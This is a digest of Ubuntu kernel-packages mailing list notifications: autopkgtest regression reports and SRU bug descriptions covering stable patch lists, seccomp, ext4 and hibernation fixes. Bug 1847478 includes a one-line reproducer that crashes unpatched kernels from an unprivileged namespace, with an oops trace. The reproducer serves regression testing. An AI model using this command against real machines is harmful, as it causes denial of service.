https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848047] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848047 Title: Eoan update: v5.3.5 upstream stable release Status in linux package in Ubuntu: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.3.5 upstream stable release from git://git.kernel.org/ Linux 5.3.5 vfs: set fs_context::user_ns for reconfigure 9p/cache.c: Fix memory leak in v9fs_cache_session_get_cookie KVM: hyperv: Fix Direct Synthetic timers assert an interrupt w/o lapic_in_kernel kexec: bail out upon SIGKILL when allocating memory. NFC: fix attrs checks in netlink interface dm zoned: fix invalid memory access dm raid: fix updating of max_discard_sectors limit smack: use GFP_NOFS while holding inode_smack::smk_lock Smack: Don't ignore other bprm->unsafe flags if LSM_UNSAFE_PTRACE is set net: sched: taprio: Avoid division by zero on invalid link speed net: sched: cbs: Avoid division by zero when calculating the port rate net: socionext: netsec: always grab descriptor lock net: dsa: sja1105: Prevent leaking memory net: dsa: sja1105: Ensure PTP time for rxtstamp reconstruction is not in the past ptp_qoriq: Initialize the registers' spinlock before calling ptp_qoriq_settime net: dsa: sja1105: Fix sleeping while atomic in .port_hwtstamp_set xen-netfront: do not use ~0U as error return value for xennet_fill_frags() net: dsa: sja1105: Initialize the meta_lock net/rds: Fix error handling in rds_ib_add_one() udp: only do GSO if # of segs > 1 tcp: adjust rto_base in retransmits_timed_out() net: dsa: rtl8366: Check VLAN ID and not ports vsock: Fix a lockdep warning in __vsock_release() udp: fix gso_segs calculations tipc: fix unlimited bundling of small messages sch_dsmark: fix potential NULL deref in dsmark_init() sch_cbq: validate TCA_CBQ_WRROPT to avoid crash rxrpc: Fix rxrpc_recvmsg tracepoint qmi_wwan: add support for Cinterion CLS8 devices nfc: fix memory leak in llcp_sock_bind() net: Unpublish sk from sk_reuseport_cb before call_rcu net: sched: taprio: Fix potential integer overflow in taprio_set_picos_per_byte net: qlogic: Fix memory leak in ql_alloc_large_buffers net: ipv4: avoid mixed n_redirects and rate_tokens usage ipv6: Handle missing host route in __ipv6_ifa_notify ipv6: drop incoming packets having a v4mapped source address hso: fix NULL-deref on tty open erspan: remove the incorrect mtu limit for erspan cxgb4:Fix out-of-bounds MSI-X info array access arm: use STACK_TOP when computing mmap base address arm: properly account for stack randomization and stack guard gap mips: properly account for stack randomization and stack guard gap arm64: consider stack randomization for mmap base only when necessary kmemleak: increase DEBUG_KMEMLEAK_EARLY_LOG_SIZE default to 16K ocfs2: wait for recovering done after direct unlock request kbuild: clean compressed initramfs image mm: add dummy can_do_mlock() helper crypto: hisilicon - Fix double free in sec_free_hw_sgl() tools/power/x86/intel-speed-select: Fix high priority core mask over count hypfs: Fix error number left in struct pointer member pktcdvd: remove warning on attempting to register non-passthrough dev fat: work around race with userspace's read via blockdev while mounting block, bfq: push up injection only after setting service time i2c: tegra: Move suspend handling to NOIRQ phase ARM: 8903/1: ensure that usable memory in bank 0 starts from a PMD-aligned address ARM: 8905/1: Emit __gnu_mcount_nc when using Clang 10.0.0 or newer PCI: Use static const struct, not const static struct security: smack: Fix possible null-pointer dereferences in smack_socket_sock_rcv_skb() PCI: exynos: Propagate errors for optional PHYs PCI: imx6: Propagate error
[Kernel-packages] [Bug 1847192] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1847192 Title: drm/i915: Fix the issue of "azx_get_response timeout" for hdmi audio on ICL platforms Status in HWE Next: New Status in linux package in Ubuntu: Fix Committed Status in linux-oem-osp1 package in Ubuntu: Fix Released Status in linux source package in Bionic: Invalid Status in linux-oem-osp1 source package in Bionic: Fix Released Status in linux source package in Eoan: Fix Committed Status in linux-oem-osp1 source package in Eoan: Fix Released Bug description: Since Bionic kernel doesn't support ICL platforms (i915), so these two patches will not be sent to Bionic kernel. [Impact] On the ICL platforms, the hdmi can't work well, the audio driver will print "azx_get_response timeout" randomly, then the whole audio doesn't work anymore. [Fix] Intel provide these two fixes to us, and we tested these two patches, it really fixed the issue. [Test Case] Boot and check the hdmi audio, then suspend and resume, check the hdmi audio, all work well. [Regression Risk] Low, Only enable the audio PIN and enable the clock for ICL. we tested on both ICL and non-ICL, all worked well as before. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1847192/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847744] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1)
for bionic have finished running.
The following regressions have been reported in tests triggered by the package:
linux-gcp-5.3/unknown (amd64)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-gcp-5.3
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1847744
Title:
seccomp: add SECCOMP_USER_NOTIF_FLAG_CONTINUE
Status in linux package in Ubuntu:
Fix Committed
Status in linux source package in Disco:
Fix Committed
Status in linux source package in Eoan:
Fix Committed
Bug description:
SRU Justification
Impact: Recently we landed seccomp support for SECCOMP_RET_USER_NOTIF
(cf. [4]) which enables a process (watchee) to retrieve an fd for its
seccomp filter. This fd can then be handed to another (usually more
privileged) process (watcher). The watcher will then be able to
receive seccomp messages about the syscalls having been performed by
the watchee.
This feature is heavily used in some userspace workloads. For example,
it is currently used to intercept mknod() syscalls in user namespaces
aka in containers. The mknod() syscall can be easily filtered based on
dev_t. This allows us to only intercept a very specific subset of
mknod() syscalls. Furthermore, mknod() is not possible in user
namespaces toto coelo and so intercepting and denying syscalls that
are not in the whitelist on accident is not a big deal. The watchee
won't notice a difference.
In contrast to mknod(), a lot of other syscall we intercept (e.g. setxattr())
cannot be easily filtered like mknod() because they have pointer arguments.
Additionally, some of them might actually succeed in user namespaces (e.g.
setxattr() for all "user.*" xattrs). Since we currently cannot tell seccomp to
continue from a user notifier we are stuck with performing all of the syscalls
in lieu of the container. This is a huge security liability since it is
extremely difficult to correctly assume all of the necessary privileges of the
calling task
such that the syscall can be successfully emulated without escaping other
additional security restrictions (think missing CAP_MKNOD for mknod(), or
MS_NODEV on a filesystem etc.). This can be solved by telling seccomp to resume
the syscall.
Fix: Allow the seccomp notifier to continue a syscall. A positive
discussion about this feature was triggered by a post to the ksummit-
discuss mailing list (cf. [3]) and took place during KSummit (cf. [1])
and again at the containers/checkpoint-restore micro-conference at
Linux Plumbers.
Regression Potential: Limited to seccomp. The patchset also comes with
proper selftests in addition to the large set of seccomp selftests
that are already there. This further reduces regression potential.
Test Case:
Compile a kernel with the patch applied and run the selftests or trap a
syscall via the notifier fd and set the newly introduced flag. The syscall
should then have continued.
Target Kernels: All current LTS kernels.
Patches:
https://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git/commit/?h=for-next/seccomp&id=fb3c5386b382d4097476ce9647260fc89b34afdb
https://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git/commit/?h=for-next/seccomp&id=0eebfed2954f152259cae0ad57b91d3ea92968e8
/* References */
[1]: https://linuxplumbersconf.org/event/4/contributions/560
[2]: https://linuxplumbersconf.org/event/4/contributions/477
[3]: https://lore.kernel.org/r/20190719093538.dhyopljyr5ns3...@brauner.io
[4]: commit 6a21cc50f0c7 ("seccomp: add a return code to trap to userspace")
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1847744/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1846641] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846641 Title: eoan/linux: 5.3.0-17.18 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-release series: Fix Released Status in Kernel SRU Workflow regression-testing series: Fix Released Status in debian-installer package in Ubuntu: Fix Released Status in linux package in Ubuntu: Fix Released Status in debian-installer source package in Eoan: Fix Released Status in linux source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Complete phase-changed: Thursday, 10. October 2019 07:16 UTC proposed-announcement-sent: true proposed-testing-requested: true trackers: bionic/linux-hwe-edge: bug 1846636 eoan/linux-aws: bug 1846613 eoan/linux-azure: bug 1846616 eoan/linux-gcp: bug 1846623 eoan/linux-kvm: bug 1846628 eoan/linux-oracle: bug 1846630 eoan/linux-raspi2: bug 1846611 eoan/linux-snapdragon: bug 1846634 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1846641/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1846508] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846508 Title: Re-enable linux-libc-dev build on i386 Status in linux package in Ubuntu: Fix Released Bug description: SRU Justification Impact: Even though we are no longer producing i386 kernels in eoan, linux-libc-dev is still needed for glibc. Fix: Enable building only linux-libc-dev for i386. Test Case: A ppa test build confirms that the patch works as intended -- https://launchpad.net/~sforshee/+archive/ubuntu/test- builds/+build/17840485 Regression Potential: The changes have no impact on other architectures. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1846508/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1846486] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846486 Title: revert the revert of ext4: make __ext4_get_inode_loc plug Status in linux package in Ubuntu: In Progress Status in linux source package in Eoan: In Progress Bug description: == SRU Justification Eoan == Now that 5.4 contains a fix to the bootup regression due to the lack of entropy at bootable we should apply this fix and also revert the revert of commit "Revert "ext4: make __ext4_get_inode_loc plug"". == Fix == So, to clarify, apply the two upstream 5.4-rc commits: commit 50ee7529ec4500c88f8664560770a7a1b65db72b Author: Linus Torvalds Date: Sat Sep 28 16:53:52 2019 -0700 random: try to actively add entropy rather than passively wait for it commit 02f03c4206c1b2a7451d3b3546f86c9c783eac13 Author: Linus Torvalds Date: Sun Sep 29 17:59:23 2019 -0700 Revert "Revert "ext4: make __ext4_get_inode_loc plug"" I've benchmarked the Eoan kernel with these two patches and found theo following speed improvements on an i7-3770 CPU @ 3.40GHz with 8GB and a WDC WD10EZEX-21WN4A HDD (7200RPM, 64MB cache). git grep of the kernel: 0.14% building fwts: 0.40% build stress-ng 0.45% tar up kernel source: 7.6% boot time of eoan cloud image: 10.5% So I think the speed improvements justify the SRU. == Regression potential == minor change to ext4, which has been regression tested, so risk here is small. The entropy change will alter the random number generation, but I believe this does not change the cryptographical security of the random numbers being generated, so think this change is not security risk. originally the ext4 change caused boot time user space regressions because of the entropy change of this fix, but the random fix addresses this, so I believe this risk is now zero. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1846486/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848039] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848039 Title: Eoan update: v5.3.6 upstream stable release Status in linux package in Ubuntu: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.3.6 upstream stable release from git://git.kernel.org/ Linux 5.3.6 libnvdimm: prevent nvdimm from requesting key when security is disabled staging: erofs: detect potential multiref due to corrupted images staging: erofs: avoid endless loop of invalid lookback distance 0 staging: erofs: add two missing erofs_workgroup_put for corrupted images staging: erofs: some compressed cluster should be submitted for corrupted images staging: erofs: fix an error handling in erofs_readdir() coresight: etm4x: Use explicit barriers on enable/disable vfs: Fix EOVERFLOW testing in put_compat_statfs64 riscv: Avoid interrupts being erroneously enabled in handle_exception() perf stat: Reset previous counts on repeat with interval tick: broadcast-hrtimer: Fix a race in bc_set_next KVM: nVMX: Fix consistency check on injected exception error code Btrfs: fix selftests failure due to uninitialized i_mode in test inodes drm/radeon: Bail earlier when radeon.cik_/si_support=0 is passed nfp: abm: fix memory leak in nfp_abm_u32_knode_replace mlxsw: spectrum_flower: Fail in case user specifies multiple mirror actions perf unwind: Fix libunwind build failure on i386 systems i2c: qcom-geni: Disable DMA processing on the Lenovo Yoga C630 net: dsa: microchip: Always set regmap stride to 1 bpf: Fix bpf_event_output re-entry issue blk-mq: move lockdep_assert_held() into elevator_exit libbpf: fix false uninitialized variable warning kernel/elfcore.c: include proper prototypes selftests/bpf: adjust strobemeta loop to satisfy latest clang include/trace/events/writeback.h: fix -Wstringop-truncation warnings perf build: Add detection of java-11-openjdk-devel package sched/core: Fix migration to invalid CPU in __set_cpus_allowed_ptr() sched/membarrier: Fix private expedited registration check sched/membarrier: Call sync_core only before usermode for same mm libnvdimm/nfit_test: Fix acpi_handle redefinition fuse: fix memleak in cuse_channel_open libnvdimm: Fix endian conversion issues libnvdimm/region: Initialize bad block for volatile namespaces iommu/amd: Fix downgrading default page-sizes in alloc_pte() thermal_hwmon: Sanitize thermal_zone type thermal: Fix use-after-free when unregistering thermal zone device ntb: point to right memory window index x86/purgatory: Disable the stackleak GCC plugin for the purgatory selftests/seccomp: fix build on older kernels pwm: stm32-lp: Add check in case requested period cannot be achieved SUNRPC: Don't try to parse incomplete RPC messages pNFS: Ensure we do clear the return-on-close layout stateid on fatal errors perf probe: Fix to clear tev->nargs in clear_probe_trace_event() drm/amdgpu: Check for valid number of registers to read drm/amdgpu: Fix KFD-related kernel oops on Hawaii netfilter: nf_tables: allow lookups in dynamic sets watchdog: aspeed: Add support for AST2600 SUNRPC: RPC level errors should always set task->tk_rpc_status ceph: reconnect connection if session hang in opening state ceph: fetch cap_gen under spinlock in ceph_add_cap ceph: fix directories inode i_blkbits initialization fuse: fix request limit xen/pci: reserve MCFG areas earlier 9p: avoid attaching writeback_fid on mmap with type PRIVATE 9p: Transport error uninitialized xprtrdma: Send Queue size grows after a reconnect xprtrdma: Toggle XPRT_CONGESTED in xprtrdma's slot methods fs: nfs: Fix possible null-pointer dereferences in encode_attrs() ima: fix freeing ongoing ahash_request ima: always r
[Kernel-packages] [Bug 1847298] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1847298 Title: eoan/linux: 5.3.0-18.19 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-release series: Fix Released Status in Kernel SRU Workflow regression-testing series: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Complete phase-changed: Saturday, 12. October 2019 03:56 UTC proposed-announcement-sent: true proposed-testing-requested: true trackers: bionic/linux-hwe-edge: bug 1847297 eoan/linux-aws: bug 1847291 eoan/linux-azure: bug 1847292 eoan/linux-gcp: bug 1847293 eoan/linux-kvm: bug 1847294 eoan/linux-oracle: bug 1847295 eoan/linux-raspi2: bug 1847290 eoan/linux-snapdragon: bug 1847296 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1847298/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847293] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1847293 Title: eoan/linux-gcp: 5.3.0-1004.4 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-release series: Fix Released Status in Kernel SRU Workflow regression-testing series: Fix Released Status in linux-gcp package in Ubuntu: Fix Released Status in linux-gcp source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1847298 packages: lrm: linux-restricted-modules-gcp main: linux-gcp meta: linux-meta-gcp signed: linux-signed-gcp phase: Complete phase-changed: Sunday, 13. October 2019 03:26 UTC proposed-announcement-sent: true proposed-testing-requested: true variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1847293/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847478] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1847478 Title: eoan kernel does not contain "ipv6: do not free rt if FIB_LOOKUP_NOREF is set on suppress rule" Status in linux package in Ubuntu: Fix Committed Status in linux source package in Eoan: Fix Released Bug description: [Impact] An unprivileged local attacker could cause a denial of service, or possibly execute arbitrary code due to an ipv6 regression. [Test Case] An unpatched system will crash with the following command: $ unshare -rUn sh -c 'ip link add dummy1 type dummy && ip link set dummy1 up && ip -6 route add default dev dummy1 && ip -6 rule add table main suppress_prefixlength 0 && ping -f 1234::1' [Regression Potential] Low. The change could theoretically introduce a memory leak but that would still be an improvement over immediate loss of system availability. [Original Description] Having recently upgraded to Eoan Ermine from Disco Dingo, my previously rock-solid wireguard now locks the system up shortly after I take the connection down with wg-quick down wg0. Package: wireguard: Installed: 0.0.20190913-1ubuntu1 Candidate: 0.0.20190913-1ubuntu1 Version table: *** 0.0.20190913-1ubuntu1 500 500 http://gb.archive.ubuntu.com/ubuntu eoan/universe amd64 Packages 500 http://gb.archive.ubuntu.com/ubuntu eoan/universe i386 Packages 100 /var/lib/dpkg/status Kernel: 5.3.0-13-generic Snipped from /var/log/syslog: kernel: [ 776.930804] BUG: unable to handle page fault for address: 1070 kernel: [ 776.930807] #PF: supervisor read access in kernel mode kernel: [ 776.930808] #PF: error_code(0x) - not-present page kernel: [ 776.930809] PGD 0 P4D 0 kernel: [ 776.930811] Oops: [#1] SMP NOPTI kernel: [ 776.930813] CPU: 3 PID: 2598 Comm: Chrome_ChildIOT Tainted: G OE 5.3.0-13-generic #14-Ubuntu kernel: [ 776.930813] Hardware name: Dell Inc. XPS 13 9380/0KTW76, BIOS 1.7.0 08/05/2019 kernel: [ 776.930817] RIP: 0010:ip6_sk_dst_store_flow+0x80/0xc0 kernel: [ 776.930819] Code: 48 8b 42 30 48 33 47 40 48 09 c1 0f b6 4f 12 b8 01 00 00 00 4d 0f 45 e9 31 db d3 e0 a9 bf ef ff ff 74 07 48 8b 9f f8 02 00 00 <48> 8b 46 70 31 d2 48 85 c0 74 0c 48 8b 40 10 48 85 c0 74 03 8b 50 kernel: [ 776.930820] RSP: 0018:beb841a9fcd8 EFLAGS: 00010202 kernel: [ 776.930821] RAX: 0080 RBX: a0933c829360 RCX: 0007 kernel: [ 776.930822] RDX: beb841a9fd20 RSI: 1000 RDI: a0933c828f00 kernel: [ 776.930823] RBP: beb841a9fcf0 R08: R09: kernel: [ 776.930823] R10: R11: a093948fd800 R12: a0933c829360 kernel: [ 776.930824] R13: a0933c828f38 R14: 0001 R15: a0933c829360 kernel: [ 776.930825] FS: 7fbcd8a82700() GS:a0939e4c() knlGS: kernel: [ 776.930826] CS: 0010 DS: ES: CR0: 80050033 kernel: [ 776.930827] CR2: 1070 CR3: 00049172a004 CR4: 003606e0 kernel: [ 776.930828] Call Trace: kernel: [ 776.930832] ip6_datagram_dst_update+0x15e/0x280 kernel: [ 776.930835] ? _raw_read_unlock_bh+0x20/0x30 kernel: [ 776.930837] __ip6_datagram_connect+0x1da/0x380 kernel: [ 776.930839] ip6_datagram_connect+0x2d/0x50 kernel: [ 776.930841] inet_dgram_connect+0x3f/0xc0 kernel: [ 776.930843] __sys_connect+0xf1/0x130 kernel: [ 776.930846] ? do_fcntl+0xe4/0x550 kernel: [ 776.930848] ? fput+0x13/0x15 kernel: [ 776.930849] __x64_sys_connect+0x1a/0x20 kernel: [ 776.930852] do_syscall_64+0x5a/0x130 kernel: [ 776.930854] entry_SYSCALL_64_after_hwframe+0x44/0xa9 kernel: [ 776.930855] RIP: 0033:0x7fbcde6324eb kernel: [ 776.930856] Code: 83 ec 18 89 54 24 0c 48 89 34 24 89 7c 24 08 e8 ab fa ff ff 8b 54 24 0c 48 8b 34 24 41 89 c0 8b 7c 24 08 b8 2a 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 2f 44 89 c7 89 44 24 08 e8 e1 fa ff ff 8b 44 kernel: [ 776.930857] RSP: 002b:7fbcd8a7ec90 EFLAGS: 0293 ORIG_RAX: 002a kernel: [ 776.930859] RAX: ffda RBX: ff94 RCX: 7fbcde6324eb kernel: [ 776.930859] RDX: 001c RSI: 7fbcd8a7e
[Kernel-packages] [Bug 1847118] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1847118 Title: PM / hibernate: fix potential memory corruption Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: [Impact] A caching bug in the hibernation code can lead to potential memory corruptions on resume. The hibernation code is representing all the allocated pages in memory (pfn) using a list of extents, inside each extent it uses a radix tree and each node in the tree contains a bitmap. This structure is used to save the memory image to disk. To speed up lookups in this structure the kernel is caching the position of the previous lookup in the form (current_extent, current_node). However, 